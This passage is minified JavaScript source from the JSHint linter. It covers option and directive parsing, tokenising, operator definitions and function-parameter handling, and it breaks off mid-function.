H(){P(),!f.option.esversion&&!f.option.moz&&(f.option.es3?f.option.esversion=3:f.option.esnext?f.option.esversion=6:f.option.esversion=5),f.inES5()&&D(S,s.ecmaIdentifiers[5]),f.inES6()&&D(S,s.ecmaIdentifiers[6]),f.option.module&&(f.option.strict===!0&&(f.option.strict=\"global\"),f.inES6()||F(\"W134\",f.tokens.next,\"module\",6)),f.option.couch&&D(S,s.couch),f.option.qunit&&D(S,s.qunit),f.option.rhino&&D(S,s.rhino),f.option.shelljs&&(D(S,s.shelljs),D(S,s.node)),f.option.typed&&D(S,s.typed),f.option.phantom&&(D(S,s.phantom),f.option.strict===!0&&(f.option.strict=\"global\")),f.option.prototypejs&&D(S,s.prototypejs),f.option.node&&(D(S,s.node),D(S,s.typed),f.option.strict===!0&&(f.option.strict=\"global\")),f.option.devel&&D(S,s.devel),f.option.dojo&&D(S,s.dojo),f.option.browser&&(D(S,s.browser),D(S,s.typed)),f.option.browserify&&(D(S,s.browser),D(S,s.typed),D(S,s.browserify),f.option.strict===!0&&(f.option.strict=\"global\")),f.option.nonstandard&&D(S,s.nonstandard),f.option.jasmine&&D(S,s.jasmine),f.option.jquery&&D(S,s.jquery),f.option.mootools&&D(S,s.mootools),f.option.worker&&D(S,s.worker),f.option.wsh&&D(S,s.wsh),f.option.globalstrict&&f.option.strict!==!1&&(f.option.strict=\"global\"),f.option.yui&&D(S,s.yui),f.option.mocha&&D(S,s.mocha)}function B(e,t,n){var r=Math.floor(t/f.lines.length*100),i=o.errors[e].desc;throw{name:\"JSHintError\",line:t,character:n,message:i+\" (\"+r+\"% scanned).\",raw:i,code:e}}function j(){var e=f.ignoredLines;if(r.isEmpty(e))return;p.errors=r.reject(p.errors,function(t){return e[t.line]})}function F(e,t,n,r,i,s){var u,a,l,c;if(/^W\\d{3}$/.test(e)){if(f.ignored[e])return;c=o.warnings[e]}else/E\\d{3}/.test(e)?c=o.errors[e]:/I\\d{3}/.test(e)&&(c=o.info[e]);return t=t||f.tokens.next||{},t.id===\"(end)\"&&(t=f.tokens.curr),a=t.line||0,u=t.from||0,l={id:\"(error)\",raw:c.desc,code:c.code,evidence:f.lines[a-1]||\"\",line:a,character:u,scope:p.scope,a:n,b:r,c:i,d:s},l.reason=M(c.desc,l),p.errors.push(l),j(),p.errors.length>=f.option.maxerr&&B(\"E043\",a,u),l}function I(e,t,n,r,i,s,o){return F(e,{line:t,from:n},r,i,s,o)}function q(e,t,n,r,i,s){F(e,t,n,r,i,s)}function R(e,t,n,r,i,s,o){return q(e,{line:t,from:n},r,i,s,o)}function U(e,t){var n;return n={id:\"(internal)\",elem:e,value:t},p.internals.push(n),n}function z(){var e=f.tokens.next,t=e.body.match(/(-\\s+)?[^\\s,:]+(?:\\s*:\\s*(-\\s+)?[^\\s,]+)?/g)||[],i={};if(e.type===\"globals\"){t.forEach(function(n,r){n=n.split(\":\");var s=(n[0]||\"\").trim(),o=(n[1]||\"\").trim();if(s===\"-\"||!s.length){if(r>0&&r===t.length-1)return;q(\"E002\",e);return}s.charAt(0)===\"-\"?(s=s.slice(1),o=!1,p.blacklist[s]=s,delete S[s]):i[s]=o===\"true\"}),D(S,i);for(var s in i)r.has(i,s)&&(n[s]=e)}e.type===\"exported\"&&t.forEach(function(n,r){if(!n.length){if(r>0&&r===t.length-1)return;q(\"E002\",e);return}f.funct[\"(scope)\"].addExported(n)}),e.type===\"members\"&&(E=E||{},t.forEach(function(e){var t=e.charAt(0),n=e.charAt(e.length-1);t===n&&(t==='\"'||t===\"'\")&&(e=e.substr(1,e.length-2).replace('\\\\\"','\"')),E[e]=!1}));var o=[\"maxstatements\",\"maxparams\",\"maxdepth\",\"maxcomplexity\",\"maxerr\",\"maxlen\",\"indent\"];if(e.type===\"jshint\"||e.type===\"jslint\")t.forEach(function(t){t=t.split(\":\");var n=(t[0]||\"\").trim(),i=(t[1]||\"\").trim();if(!k(n,e))return;if(o.indexOf(n)>=0){if(i!==\"false\"){i=+i;if(typeof i!=\"number\"||!isFinite(i)||i<=0||Math.floor(i)!==i){q(\"E032\",e,t[1].trim());return}f.option[n]=i}else f.option[n]=n===\"indent\"?4:!1;return}if(n===\"validthis\"){if(f.funct[\"(global)\"])return void q(\"E009\");if(i!==\"true\"&&i!==\"false\")return void q(\"E002\",e);f.option.validthis=i===\"true\";return}if(n===\"quotmark\"){switch(i){case\"true\":case\"false\":f.option.quotmark=i===\"true\";break;case\"double\":case\"single\":f.option.quotmark=i;break;default:q(\"E002\",e)}return}if(n===\"shadow\"){switch(i){case\"true\":f.option.shadow=!0;break;case\"outer\":f.option.shadow=\"outer\";break;case\"false\":case\"inner\":f.option.shadow=\"inner\";break;default:q(\"E002\",e)}return}if(n===\"unused\"){switch(i){case\"true\":f.option.unused=!0;break;case\"false\":f.option.unused=!1;break;case\"vars\":case\"strict\":f.option.unused=i;break;default:q(\"E002\",e)}return}if(n===\"latedef\"){switch(i){case\"true\":f.option.latedef=!0;break;case\"false\":f.option.latedef=!1;break;case\"nofunc\":f.option.latedef=\"nofunc\";break;default:q(\"E002\",e)}return}if(n===\"ignore\"){switch(i){case\"line\":f.ignoredLines[e.line]=!0,j();break;default:q(\"E002\",e)}return}if(n===\"strict\"){switch(i){case\"true\":f.option.strict=!0;break;case\"false\":f.option.strict=!1;break;case\"func\":case\"global\":case\"implied\":f.option.strict=i;break;default:q(\"E002\",e)}return}n===\"module\"&&(zt(f.funct)||q(\"E055\",f.tokens.next,\"module\"));var s={es3:3,es5:5,esnext:6};if(r.has(s,n)){switch(i){case\"true\":f.option.moz=!1,f.option.esversion=s[n];break;case\"false\":f.option.moz||(f.option.esversion=5);break;default:q(\"E002\",e)}return}if(n===\"esversion\"){switch(i){case\"5\":f.inES5(!0)&&F(\"I003\");case\"3\":case\"6\":f.option.moz=!1,f.option.esversion=+i;break;case\"2015\":f.option.moz=!1,f.option.esversion=6;break;default:q(\"E002\",e)}zt(f.funct)||q(\"E055\",f.tokens.next,\"esversion\");return}var u=/^([+-])(W\\d{3})$/g.exec(n);if(u){f.ignored[u[2]]=u[1]===\"-\";return}var a;if(i===\"true\"||i===\"false\"){e.type===\"jslint\"?(a=c.renamed[n]||n,f.option[a]=i===\"true\",c.inverted[a]!==undefined&&(f.option[a]=!f.option[a])):f.option[n]=i===\"true\",n===\"newcap\"&&(f.option[\"(explicitNewcap)\"]=!0);return}q(\"E002\",e)}),H()}function W(e){var t=e||0,n=y.length,r;if(t<n)return y[t];while(n<=t)r=y[n],r||(r=y[n]=b.token()),n+=1;return!r&&f.tokens.next.id===\"(end)\"?f.tokens.next:r}function X(){var e=0,t;do t=W(e++);while(t.id===\"(endline)\");return t}function V(e,t){switch(f.tokens.curr.id){case\"(number)\":f.tokens.next.id===\".\"&&F(\"W005\",f.tokens.curr);break;case\"-\":(f.tokens.next.id===\"-\"||f.tokens.next.id===\"--\")&&F(\"W006\");break;case\"+\":(f.tokens.next.id===\"+\"||f.tokens.next.id===\"++\")&&F(\"W007\")}e&&f.tokens.next.id!==e&&(t?f.tokens.next.id===\"(end)\"?q(\"E019\",t,t.id):q(\"E020\",f.tokens.next,e,t.id,t.line,f.tokens.next.value):(f.tokens.next.type!==\"(identifier)\"||f.tokens.next.value!==e)&&F(\"W116\",f.tokens.next,e,f.tokens.next.value)),f.tokens.prev=f.tokens.curr,f.tokens.curr=f.tokens.next;for(;;){f.tokens.next=y.shift()||b.token(),f.tokens.next||B(\"E041\",f.tokens.curr.line);if(f.tokens.next.id===\"(end)\"||f.tokens.next.id===\"(error)\")return;f.tokens.next.check&&f.tokens.next.check();if(f.tokens.next.isSpecial)f.tokens.next.type===\"falls through\"?f.tokens.curr.caseFallsThrough=!0:z();else if(f.tokens.next.id!==\"(endline)\")break}}function $(e){return e.infix||!e.identifier&&!e.template&&!!e.led}function J(){var e=f.tokens.curr,t=f.tokens.next;return t.id===\";\"||t.id===\"}\"||t.id===\":\"?!0:$(t)===$(e)||e.id===\"yield\"&&f.inMoz()?e.line!==G(t):!1}function K(e){return!e.left&&e.arity!==\"unary\"}function Q(e,t){var n,i=!1,s=!1,o=!1;f.nameStack.push(),!t&&f.tokens.next.value===\"let\"&&W(0).value===\"(\"&&(f.inMoz()||F(\"W118\",f.tokens.next,\"let expressions\"),o=!0,f.funct[\"(scope)\"].stack(),V(\"let\"),V(\"(\"),f.tokens.prev.fud(),V(\")\")),f.tokens.next.id===\"(end)\"&&q(\"E006\",f.tokens.curr);var u=f.option.asi&&f.tokens.prev.line!==G(f.tokens.curr)&&r.contains([\"]\",\")\"],f.tokens.prev.id)&&r.contains([\"[\",\"(\"],f.tokens.curr.id);u&&F(\"W014\",f.tokens.curr,f.tokens.curr.id),V(),t&&(f.funct[\"(verb)\"]=f.tokens.curr.value,f.tokens.curr.beginsStmt=!0);if(t===!0&&f.tokens.curr.fud)n=f.tokens.curr.fud();else{f.tokens.curr.nud?n=f.tokens.curr.nud():q(\"E030\",f.tokens.curr,f.tokens.curr.id);while((e<f.tokens.next.lbp||f.tokens.next.type===\"(template)\")&&!J())i=f.tokens.curr.value===\"Array\",s=f.tokens.curr.value===\"Object\",n&&(n.value||n.first&&n.first.value)&&(n.value!==\"new\"||n.first&&n.first.value&&n.first.value===\".\")&&(i=!1,n.value!==f.tokens.curr.value&&(s=!1)),V(),i&&f.tokens.curr.id===\"(\"&&f.tokens.next.id===\")\"&&F(\"W009\",f.tokens.curr),s&&f.tokens.curr.id===\"(\"&&f.tokens.next.id===\")\"&&F(\"W010\",f.tokens.curr),n&&f.tokens.curr.led?n=f.tokens.curr.led(n):q(\"E033\",f.tokens.curr,f.tokens.curr.id)}return o&&f.funct[\"(scope)\"].unstack(),f.nameStack.pop(),n}function G(e){return e.startLine||e.line}function Y(e,t){e=e||f.tokens.curr,t=t||f.tokens.next,!f.option.laxbreak&&e.line!==G(t)&&F(\"W014\",t,t.value)}function Z(e){e=e||f.tokens.curr,e.line!==G(f.tokens.next)&&F(\"E022\",e,e.value)}function et(e,t){e.line!==G(t)&&(f.option.laxcomma||(tt.first&&(F(\"I001\"),tt.first=!1),F(\"W014\",e,t.value)))}function tt(e){e=e||{},e.peek?et(f.tokens.prev,f.tokens.curr):(et(f.tokens.curr,f.tokens.next),V(\",\"));if(f.tokens.next.identifier&&(!e.property||!f.inES5()))switch(f.tokens.next.value){case\"break\":case\"case\":case\"catch\":case\"continue\":case\"default\":case\"do\":case\"else\":case\"finally\":case\"for\":case\"if\":case\"in\":case\"instanceof\":case\"return\":case\"switch\":case\"throw\":case\"try\":case\"var\":case\"let\":case\"while\":case\"with\":return q(\"E024\",f.tokens.next,f.tokens.next.value),!1}if(f.tokens.next.type===\"(punctuator)\")switch(f.tokens.next.value){case\"}\":case\"]\":case\",\":if(e.allowTrailing)return!0;case\")\":return q(\"E024\",f.tokens.next,f.tokens.next.value),!1}return!0}function nt(e,t){var n=f.syntax[e];if(!n||typeof n!=\"object\")f.syntax[e]=n={id:e,lbp:t,value:e};return n}function rt(e){var t=nt(e,0);return t.delim=!0,t}function it(e,t){var n=rt(e);return n.identifier=n.reserved=!0,n.fud=t,n}function st(e,t){var n=it(e,t);return n.block=!0,n}function ot(e){var t=e.id.charAt(0);if(t>=\"a\"&&t<=\"z\"||t>=\"A\"&&t<=\"Z\")e.identifier=e.reserved=!0;return e}function ut(e,t){var n=nt(e,150);return ot(n),n.nud=typeof t==\"function\"?t:function(){this.arity=\"unary\",this.right=Q(150);if(this.id===\"++\"||this.id===\"--\")f.option.plusplus?F(\"W016\",this,this.id):this.right&&(!this.right.identifier||O(this.right))&&this.right.id!==\".\"&&this.right.id!==\"[\"&&F(\"W017\",this),this.right&&this.right.isMetaProperty?q(\"E031\",this):this.right&&this.right.identifier&&f.funct[\"(scope)\"].block.modify(this.right.value,this);return this},n}function at(e,t){var n=rt(e);return n.type=e,n.nud=t,n}function ft(e,t){var n=at(e,t);return n.identifier=!0,n.reserved=!0,n}function lt(e,t){var n=at(e,t&&t.nud||function(){return this});return t=t||{},t.isFutureReservedWord=!0,n.value=e,n.identifier=!0,n.reserved=!0,n.meta=t,n}function ct(e,t){return ft(e,function(){return typeof t==\"function\"&&t(this),this})}function ht(e,t,n,r){var i=nt(e,n);return ot(i),i.infix=!0,i.led=function(i){return r||Y(f.tokens.prev,f.tokens.curr),(e===\"in\"||e===\"instanceof\")&&i.id===\"!\"&&F(\"W018\",i,\"!\"),typeof t==\"function\"?t(i,this):(this.left=i,this.right=Q(n),this)},i}function pt(e){var t=nt(e,42);return t.led=function(e){return Y(f.tokens.prev,f.tokens.curr),this.left=e,this.right=Xt({type:\"arrow\",loneArg:e}),this},t}function dt(e,t){var n=nt(e,100);return n.led=function(e){Y(f.tokens.prev,f.tokens.curr),this.left=e;var n=this.right=Q(100);return A(e,\"NaN\")||A(n,\"NaN\")?F(\"W019\",this):t&&t.apply(this,[e,n]),(!e||!n)&&B(\"E041\",f.tokens.curr.line),e.id===\"!\"&&F(\"W018\",e,\"!\"),n.id===\"!\"&&F(\"W018\",n,\"!\"),this},n}function vt(e){return e&&(e.type===\"(number)\"&&+e.value===0||e.type===\"(string)\"&&e.value===\"\"||e.type===\"null\"&&!f.option.eqnull||e.type===\"true\"||e.type===\"false\"||e.type===\"undefined\")}function gt(e,t,n){var i;return n.option.notypeof?!1:!e||!t?!1:(i=n.inES6()?mt.es6:mt.es3,t.type===\"(identifier)\"&&t.value===\"typeof\"&&e.type===\"(string)\"?!r.contains(i,e.value):!1)}function yt(e,t){var n=!1;return e.type===\"this\"&&t.funct[\"(context)\"]===null?n=!0:e.type===\"(identifier)\"&&(t.option.node&&e.value===\"global\"?n=!0:t.option.browser&&(e.value===\"window\"||e.value===\"document\")&&(n=!0)),n}function bt(e){function n(e){if(typeof e!=\"object\")return;return e.right===\"prototype\"?e:n(e.left)}function r(e){while(!e.identifier&&typeof e.left==\"object\")e=e.left;if(e.identifier&&t.indexOf(e.value)>=0)return e.value}var t=[\"Array\",\"ArrayBuffer\",\"Boolean\",\"Collator\",\"DataView\",\"Date\",\"DateTimeFormat\",\"Error\",\"EvalError\",\"Float32Array\",\"Float64Array\",\"Function\",\"Infinity\",\"Intl\",\"Int16Array\",\"Int32Array\",\"Int8Array\",\"Iterator\",\"Number\",\"NumberFormat\",\"Object\",\"RangeError\",\"ReferenceError\",\"RegExp\",\"StopIteration\",\"String\",\"SyntaxError\",\"TypeError\",\"Uint16Array\",\"Uint32Array\",\"Uint8Array\",\"Uint8ClampedArray\",\"URIError\"],i=n(e);if(i)return r(i)}function wt(e,t,n){var r=n&&n.allowDestructuring;t=t||e;if(f.option.freeze){var i=bt(e);i&&F(\"W121\",e,i)}return e.identifier&&!e.isMetaProperty&&f.funct[\"(scope)\"].block.reassign(e.value,e),e.id===\".\"?((!e.left||e.left.value===\"arguments\"&&!f.isStrict())&&F(\"E031\",t),f.nameStack.set(f.tokens.prev),!0):e.id===\"{\"||e.id===\"[\"?(r&&f.tokens.curr.left.destructAssign?f.tokens.curr.left.destructAssign.forEach(function(e){e.id&&f.funct[\"(scope)\"].block.modify(e.id,e.token)}):e.id===\"{\"||!e.left?F(\"E031\",t):e.left.value===\"arguments\"&&!f.isStrict()&&F(\"E031\",t),e.id===\"[\"&&f.nameStack.set(e.right),!0):e.isMetaProperty?(q(\"E031\",t),!0):e.identifier&&!O(e)?(f.funct[\"(scope)\"].labeltype(e.value)===\"exception\"&&F(\"W022\",e),f.nameStack.set(e),!0):(e===f.syntax[\"function\"]&&F(\"W023\",f.tokens.curr),!1)}function Et(e,t,n){var r=ht(e,typeof t==\"function\"?t:function(e,t){t.left=e;if(e&&wt(e,t,{allowDestructuring:!0}))return t.right=Q(10),t;q(\"E031\",t)},n);return r.exps=!0,r.assign=!0,r}function St(e,t,n){var r=nt(e,n);return ot(r),r.led=typeof t==\"function\"?t:function(e){return f.option.bitwise&&F(\"W016\",this,this.id),this.left=e,this.right=Q(n),this},r}function xt(e){return Et(e,function(e,t){f.option.bitwise&&F(\"W016\",t,t.id);if(e&&wt(e,t))return t.right=Q(10),t;q(\"E031\",t)},20)}function Tt(e){var t=nt(e,150);return t.led=function(e){return f.option.plusplus?F(\"W016\",this,this.id):(!e.identifier||O(e))&&e.id!==\".\"&&e.id!==\"[\"&&F(\"W017\",this),e.isMetaProperty?q(\"E031\",this):e&&e.identifier&&f.funct[\"(scope)\"].block.modify(e.value,e),this.left=e,this},t}function Nt(e,t,n){if(!f.tokens.next.identifier)return;n||V();var r=f.tokens.curr,i=f.tokens.curr.value;return O(r)?t&&f.inES5()?i:e&&i===\"undefined\"?i:(F(\"W024\",f.tokens.curr,f.tokens.curr.id),i):i}function Ct(e,t){var n=Nt(e,t,!1);if(n)return n;if(f.tokens.next.value===\"...\"){f.inES6(!0)||F(\"W119\",f.tokens.next,\"spread/rest operator\",\"6\"),V();if(pn(f.tokens.next,\"...\")){F(\"E024\",f.tokens.next,\"...\");while(pn(f.tokens.next,\"...\"))V()}if(!f.tokens.next.identifier){F(\"E024\",f.tokens.curr,\"...\");return}return Ct(e,t)}q(\"E030\",f.tokens.next,f.tokens.next.value),f.tokens.next.id!==\";\"&&V()}function kt(e){var t=0,n;if(f.tokens.next.id!==\";\"||e.inBracelessBlock)return;for(;;){do n=W(t),t+=1;while(n.id!==\"(end)\"&&n.id===\"(comment)\");if(n.reach)return;if(n.id!==\"(endline)\"){if(n.id===\"function\"){f.option.latedef===!0&&F(\"W026\",n);break}F(\"W027\",n,n.value,e.value);break}}}function Lt(){if(f.tokens.next.id!==\";\"){if(f.tokens.next.isUnclosed)return V();var e=G(f.tokens.next)===f.tokens.curr.line&&f.tokens.next.id!==\"(end)\",t=pn(f.tokens.next,\"}\");e&&!t?R(\"E058\",f.tokens.curr.line,f.tokens.curr.character):f.option.asi||(t&&!f.option.lastsemic||!e)&&I(\"W033\",f.tokens.curr.line,f.tokens.curr.character)}else V(\";\")}function At(){var e=g,t,n=f.tokens.next,r=!1;if(n.id===\";\"){V(\";\");return}var i=O(n);i&&n.meta&&n.meta.isFutureReservedWord&&W().id===\":\"&&(F(\"W024\",n,n.id),i=!1),n.identifier&&!i&&W().id===\":\"&&(V(),V(\":\"),r=!0,f.funct[\"(scope)\"].stack(),f.funct[\"(scope)\"].block.addBreakLabel(n.value,{token:f.tokens.curr}),!f.tokens.next.labelled&&f.tokens.next.value!==\"{\"&&F(\"W028\",f.tokens.next,n.value,f.tokens.next.value),f.tokens.next.label=n.value,n=f.tokens.next);if(n.id===\"{\"){var s=f.funct[\"(verb)\"]===\"case\"&&f.tokens.curr.value===\":\";_t(!0,!0,!1,!1,s);return}return t=Q(0,!0),t&&(!t.identifier||t.value!==\"function\")&&(t.type!==\"(punctuator)\"||!t.left||!t.left.identifier||t.left.value!==\"function\")&&!f.isStrict()&&f.option.strict===\"global\"&&F(\"E007\"),n.block||(!f.option.expr&&(!t||!t.exps)?F(\"W030\",f.tokens.curr):f.option.nonew&&t&&t.left&&t.id===\"(\"&&t.left.id===\"new\"&&F(\"W031\",n),Lt()),g=e,r&&f.funct[\"(scope)\"].unstack(),t}function Ot(){var e=[],t;while(!f.tokens.next.reach&&f.tokens.next.id!==\"(end)\")f.tokens.next.id===\";\"?(t=W(),(!t||t.id!==\"(\"&&t.id!==\"[\")&&F(\"W032\"),V(\";\")):e.push(At());return e}function Mt(){var e,t,n;while(f.tokens.next.id===\"(string)\"){t=W(0);if(t.id===\"(endline)\"){e=1;do n=W(e++);while(n.id===\"(endline)\");if(n.id===\";\")t=n;else{if(n.value===\"[\"||n.value===\".\")break;(!f.option.asi||n.value===\"(\")&&F(\"W033\",f.tokens.next)}}else{if(t.id===\".\"||t.id===\"[\")break;t.id!==\";\"&&F(\"W033\",t)}V();var r=f.tokens.curr.value;(f.directive[r]||r===\"use strict\"&&f.option.strict===\"implied\")&&F(\"W034\",f.tokens.curr,r),f.directive[r]=!0,t.id===\";\"&&V(\";\")}f.isStrict()&&(f.option[\"(explicitNewcap)\"]||(f.option.newcap=!0),f.option.undef=!0)}function _t(e,t,n,i,s){var o,u=m,a=g,l,c,h,p;m=e,c=f.tokens.next;var d=f.funct[\"(metrics)\"];d.nestedBlockDepth+=1,d.verifyMaxNestedBlockDepthPerFunction();if(f.tokens.next.id===\"{\"){V(\"{\"),f.funct[\"(scope)\"].stack(),h=f.tokens.curr.line;if(f.tokens.next.id!==\"}\"){g+=f.option.indent;while(!e&&f.tokens.next.from>g)g+=f.option.indent;if(n){l={};for(p in f.directive)r.has(f.directive,p)&&(l[p]=f.directive[p]);Mt(),f.option.strict&&f.funct[\"(context)\"][\"(global)\"]&&!l[\"use strict\"]&&!f.isStrict()&&F(\"E007\")}o=Ot(),d.statementCount+=o.length,g-=f.option.indent}V(\"}\",c),n&&(f.funct[\"(scope)\"].validateParams(),l&&(f.directive=l)),f.funct[\"(scope)\"].unstack(),g=a}else if(!e)if(n){f.funct[\"(scope)\"].stack(),l={},t&&!i&&!f.inMoz()&&q(\"W118\",f.tokens.curr,\"function closure expressions\");if(!t)for(p in f.directive)r.has(f.directive,p)&&(l[p]=f.directive[p]);Q(10),f.option.strict&&f.funct[\"(context)\"][\"(global)\"]&&!l[\"use strict\"]&&!f.isStrict()&&F(\"E007\"),f.funct[\"(scope)\"].unstack()}else q(\"E021\",f.tokens.next,\"{\",f.tokens.next.value);else f.funct[\"(noblockscopedvar)\"]=f.tokens.next.id!==\"for\",f.funct[\"(scope)\"].stack(),(!t||f.option.curly)&&F(\"W116\",f.tokens.next,\"{\",f.tokens.next.value),f.tokens.next.inBracelessBlock=!0,g+=f.option.indent,o=[At()],g-=f.option.indent,f.funct[\"(scope)\"].unstack(),delete f.funct[\"(noblockscopedvar)\"];switch(f.funct[\"(verb)\"]){case\"break\":case\"continue\":case\"return\":case\"throw\":if(s)break;default:f.funct[\"(verb)\"]=null}return m=u,e&&f.option.noempty&&(!o||o.length===0)&&F(\"W035\",f.tokens.prev),d.nestedBlockDepth-=1,o}function Dt(e){E&&typeof E[e]!=\"boolean\"&&F(\"W036\",f.tokens.curr,e),typeof w[e]==\"number\"?w[e]+=1:w[e]=1}function Bt(){var e={};e.exps=!0,f.funct[\"(comparray)\"].stack();var t=!1;return f.tokens.next.value!==\"for\"&&(t=!0,f.inMoz()||F(\"W116\",f.tokens.next,\"for\",f.tokens.next.value),f.funct[\"(comparray)\"].setState(\"use\"),e.right=Q(10)),V(\"for\"),f.tokens.next.value===\"each\"&&(V(\"each\"),f.inMoz()||F(\"W118\",f.tokens.curr,\"for each\")),V(\"(\"),f.funct[\"(comparray)\"].setState(\"define\"),e.left=Q(130),r.contains([\"in\",\"of\"],f.tokens.next.value)?V():q(\"E045\",f.tokens.curr),f.funct[\"(comparray)\"].setState(\"generate\"),Q(10),V(\")\"),f.tokens.next.value===\"if\"&&(V(\"if\"),V(\"(\"),f.funct[\"(comparray)\"].setState(\"filter\"),e.filter=Q(10),V(\")\")),t||(f.funct[\"(comparray)\"].setState(\"use\"),e.right=Q(10)),V(\"]\"),f.funct[\"(comparray)\"].unstack(),e}function jt(){return f.funct[\"(statement)\"]&&f.funct[\"(statement)\"].type===\"class\"||f.funct[\"(context)\"]&&f.funct[\"(context)\"][\"(verb)\"]===\"class\"}function Ft(e){return e.identifier||e.id===\"(string)\"||e.id===\"(number)\"}function It(e){var t,n=!0;return typeof e==\"object\"?t=e:(n=e,t=Nt(!1,!0,n)),t?typeof t==\"object\"&&(t.id===\"(string)\"||t.id===\"(identifier)\"?t=t.value:t.id===\"(number)\"&&(t=t.value.toString())):f.tokens.next.id===\"(string)\"?(t=f.tokens.next.value,n||V()):f.tokens.next.id===\"(number)\"&&(t=f.tokens.next.value.toString(),n||V()),t===\"hasOwnProperty\"&&F(\"W001\"),t}function qt(e){function h(e){f.funct[\"(scope)\"].addParam.apply(f.funct[\"(scope)\"],e)}var t,n=[],i,s=[],o,u=!1,a=!1,l=0,c=e&&e.loneArg;if(c&&c.identifier===!0)return f.funct[\"(scope)\"].addParam(c.value,c),{arity:1,params:[c.value]};t=f.tokens.next,(!e||!e.parsedOpening)&&V(\"(\");if(f.tokens.next.id===\")\"){V(\")\");return}for(;;){l++;var p=[];if(r.contains([\"{\",\"[\"],f.tokens.next.id)){s=Gt();for(o in s)o=s[o],o.id&&(n.push(o.id),p.push([o.id,o.token]))}else{pn(f.tokens.next,\"...\")&&(a=!0),i=Ct(!0);if(i)n.push(i),p.push([i,f.tokens.curr]);else while(!hn(f.tokens.next,[\",\",\")\"]))V()}u&&f.tokens.next.id!==\"=\"&&q(\"W138\",f.tokens.current),f.tokens.next.id===\"=\"&&(f.inES6()||F(\"W119\",f.tokens.next,\"default parameters\",\"6\"),V(\"=\"),u=!0,Q(10)),p.forEach(h);if(f.tokens.next.id!==\",\")return V(\")\",t),{arity:l,params:n};a&&F(\"W131\",f.tokens.next),tt()}}function Rt(e,t,n){var i={\"(name)\":e,\"(breakage)\":0,\"(loopage)\":0,\"(tokens)\":{},\"(properties)\":{},\"(catch)\":!1,\"(global)\":!1,\"(line)\":null,\"(character)\":null,\"(metrics)\":null,\"(statement)\":null,\"(context)\":null,\"(scope)\":null,\"(comparray)\":null,\"(generator)\":null,\"(arrow)\":null,\"(params)\":null};return t&&r.extend(i,{\"(line)\":t.line,\"(character)\":t.character,\"(metrics)\":Vt(t)}),r.extend(i,n),i[\"(context)\"]&&(i[\"(scope)\"]=i[\"(context)\"][\"(scope)\"],i[\"(comparray)\"]=i[\"(context)\"][\"(comparray)\"]),i}function Ut(e){return\"(scope)\"in e}function zt(e){return e[\"(global)\"]&&!e[\"(verb)\"]}function Wt(e){function i(){if(f.tokens.curr.template&&f.tokens.curr.tail&&f.tokens.curr.context===t)return!0;var e=f.tokens.next.template&&f.tokens.next.tail&&f.tokens.next.context===t;return e&&V(),e||f.tokens.next.isUnclosed}var t=this.context,n=this.noSubst,r=this.depth;if(!n)while(!i())!f.tokens.next.template||f.tokens.next.depth>r?Q(0):V();return{id:\"(template)\",type:\"(template)\",tag:e}}function Xt(e){var t,n,r,i,s,o,u,a,l=f.option,c=f.ignored;e&&(r=e.name,i=e.statement,s=e.classExprBinding,o=e.type===\"generator\",u=e.type===\"arrow\",a=e.ignoreLoopFunc),f.option=Object.create(f.option),f.ignored=Object.create(f.ignored),f.funct=Rt(r||f.nameStack.infer(),f.tokens.next,{\"(statement)\":i,\"(context)\":f.funct,\"(arrow)\":u,\"(generator)\":o}),t=f.funct,n=f.tokens.curr,n.funct=f.funct,v.push(f.funct),f.funct[\"(scope)\"].stack(\"functionouter\");var h=r||s;h&&f.funct[\"(scope)\"].block.add(h,s?\"class\":\"function\",f.tokens.curr,!1),f.funct[\"(scope)\"].stack(\"functionparams\");var p=qt(e);return p?(f.funct[\"(params)\"]=p.params,f.funct[\"(metrics)\"].arity=p.arity,f.funct[\"(metrics)\"].verifyMaxParametersPerFunction()):f.funct[\"(metrics)\"].arity=0,u&&(f.inES6(!0)||F(\"W119\",f.tokens.curr,\"arrow function syntax (=>)\",\"6\"),e.loneArg||V(\"=>\")),_t(!1,!0,!0,u),!f.option.noyield&&o&&f.funct[\"(generator)\"]!==\"yielded\"&&F(\"W124\",f.tokens.curr),f.funct[\"(metrics)\"].verifyMaxStatementsPerFunction(),f.funct[\"(metrics)\"].verifyMaxComplexityPerFunction(),f.funct[\"(unusedOption)\"]=f.option.unused,f.option=l,f.ignored=c,f.funct[\"(last)\"]=f.tokens.curr.line,f.funct[\"(lastcharacter)\"]=f.tokens.curr.character,f.funct[\"(scope)\"].unstack(),f.funct[\"(scope)\"].unstack(),f.funct=f.funct[\"(context)\"],!a&&!f.option.loopfunc&&f.funct[\"(loopage)\"]&&t[\"(isCapturing)\"]&&F(\"W083\",n),t}function Vt(e){return{statementCount:0,nestedBlockDepth:-1,ComplexityCount:1,arity:0,verifyMaxStatementsPerFunction:function(){f.option.maxstatements&&this.statementCount>f.option.maxstatements&&F(\"W071\",e,this.statementCount)},verifyMaxParametersPerFunction:function(){r.isNumber(f.option.maxparams)&&this.arity>f.option.maxparams&&F(\"W072\",e,this.arity)},verifyMaxNestedBlockDepthPerFunction:function(){f.option.maxdepth&&this.nestedBlockDepth>0&&this.nestedBlockDepth===f.option.maxdepth+1&&F(\"W073\",null,this.nestedBlockDepth)},verifyMaxComplexityPerFunction:function(){var t=f.option.maxcomplexity,n=this.ComplexityCount;t&&n>t&&F(\"W074\",e,n)}}}function $t(){f.funct[\"(metrics)\"].ComplexityCount+=1}function Jt(e){var t,n;e&&(t=e.id,n=e.paren,t===\",\"&&(e=e.exprs[e.exprs.length-1])&&(t=e.id,n=n||e.paren));switch(t){case\"=\":case\"+=\":case\"-=\":case\"*=\":case\"%=\":case\"&=\":case\"|=\":case\"^=\":case\"/=\":!n&&!f.option.boss&&F(\"W084\")}}function Kt(e){if(f.inES5())for(var t in e)e[t]&&e[t].setterToken&&!e[t].getterToken&&F(\"W078\",e[t].setterToken)}function Qt(e,t){if(pn(f.tokens.next,\".\")){var n=f.tokens.curr.id;V(\".\");var r=Ct();return f.tokens.curr.isMetaProperty=!0,e!==r?q(\"E057\",f.tokens.prev,n,r):t(),f.tokens.curr}}function Gt(e){var t=e&&e.assignment;return f.inES6()||F(\"W104\",f.tokens.curr,t?\"destructuring assignment\":\"destructuring binding\",\"6\"),Yt(e)}function Yt(e){var t,n=[],r=e&&e.openingParsed,i=e&&e.assignment,s=i?{assignment:i}:null,o=r?f.tokens.curr:f.tokens.next,u=function(){var e;if(hn(f.tokens.next,[\"[\",\"{\"])){t=Yt(s);for(var r in t)r=t[r],n.push({id:r.id,token:r.token})}else if(pn(f.tokens.next,\",\"))n.push({id:null,token:f.tokens.curr});else{if(!pn(f.tokens.next,\"(\")){var 